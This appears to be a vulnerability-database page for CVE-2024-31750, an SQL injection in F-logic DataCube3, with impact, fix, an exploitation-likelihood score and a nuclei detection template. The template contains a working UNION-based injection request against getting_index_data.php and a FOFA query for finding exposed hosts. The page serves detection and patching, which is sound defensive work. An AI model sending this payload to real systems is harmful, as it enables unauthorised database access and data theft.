Browse / CVEs / CVE-2024-31750
CVE-2024-31750
F-logic DataCube3 - SQL Injection
highseverity
19.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
SQL injection vulnerability in f-logic datacube3 v.1.0 allows a remote attacker to obtain sensitive information via the req_id parameter.
Impact
Attackers can execute arbitrary SQL queries, potentially extracting or modifying sensitive database information.
Fix
Update F-logic DataCube3 to a version that patches the SQL injection vulnerability.
How to confirm it
Send: POST /admin/pr_monitor/getting_index_data.php
Positive when: contains(body, "qxkkquNUnGwVzoeQWDHPkZponxHNFLcdQPMYKVAicJCzkqjxzq") and contains(header, "application/json") and status_code==200Run it with nuclei: nuclei -id CVE-2024-31750 -u <target>
The full check
id: CVE-2024-31750
info:
name: F-logic DataCube3 - SQL Injection
author: DhiyaneshDK
severity: high
description: |
SQL injection vulnerability in f-logic datacube3 v.1.0 allows a remote attacker to obtain sensitive information via the req_id parameter.
impact: |
Attackers can execute arbitrary SQL queries, potentially extracting or modifying sensitive database information.
remediation: |
Update F-logic DataCube3 to a version that patches the SQL injection vulnerability.
reference:
- https://github.com/lampSEC/semcms/blob/main/datacube3.md
- https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/DataCube3%20getting_index_data.php%20SQL%20%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
- https://nvd.nist.gov/vuln/detail/CVE-2024-31750
- https://github.com/wjlin0/poc-doc
- https://github.com/wy876/POC
classification:
cve-id: CVE-2024-31750
epss-score: 0.1927
epss-percentile: 0.97361
metadata:
verified: true
max-request: 1
fofa-query: title="DataCube3"
tags: cve,cve2024,datacube3,sqli,vkev,vuln
http:
- raw:
- |
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
req_id=1) UNION ALL SELECT CHAR(113,120,107,107,113)||CHAR(117,78,85,110,71,119,86,122,111,101,81,87,68,72,80,107,90,112,111,110,120,72,78,70,76,99,100,81,80,77,89,75,86,65,105,99,74,67,122,107)||CHAR(113,106,120,122,113),NULL,NULL-- sTqG
matchers:
- type: dsl
dsl:
- 'contains(body, "qxkkquNUnGwVzoeQWDHPkZponxHNFLcdQPMYKVAicJCzkqjxzq")'
- 'contains(header, "application/json")'
- 'status_code==200'
condition: andReferences
- https://github.com/lampSEC/semcms/blob/main/datacube3.md
- https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/DataCube3%20getting_index_data.php%20SQL%20%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
- https://nvd.nist.gov/vuln/detail/CVE-2024-31750
- https://github.com/wjlin0/poc-doc
- https://github.com/wy876/POC
Use this check only on systems you are authorised to test. Where the data comes from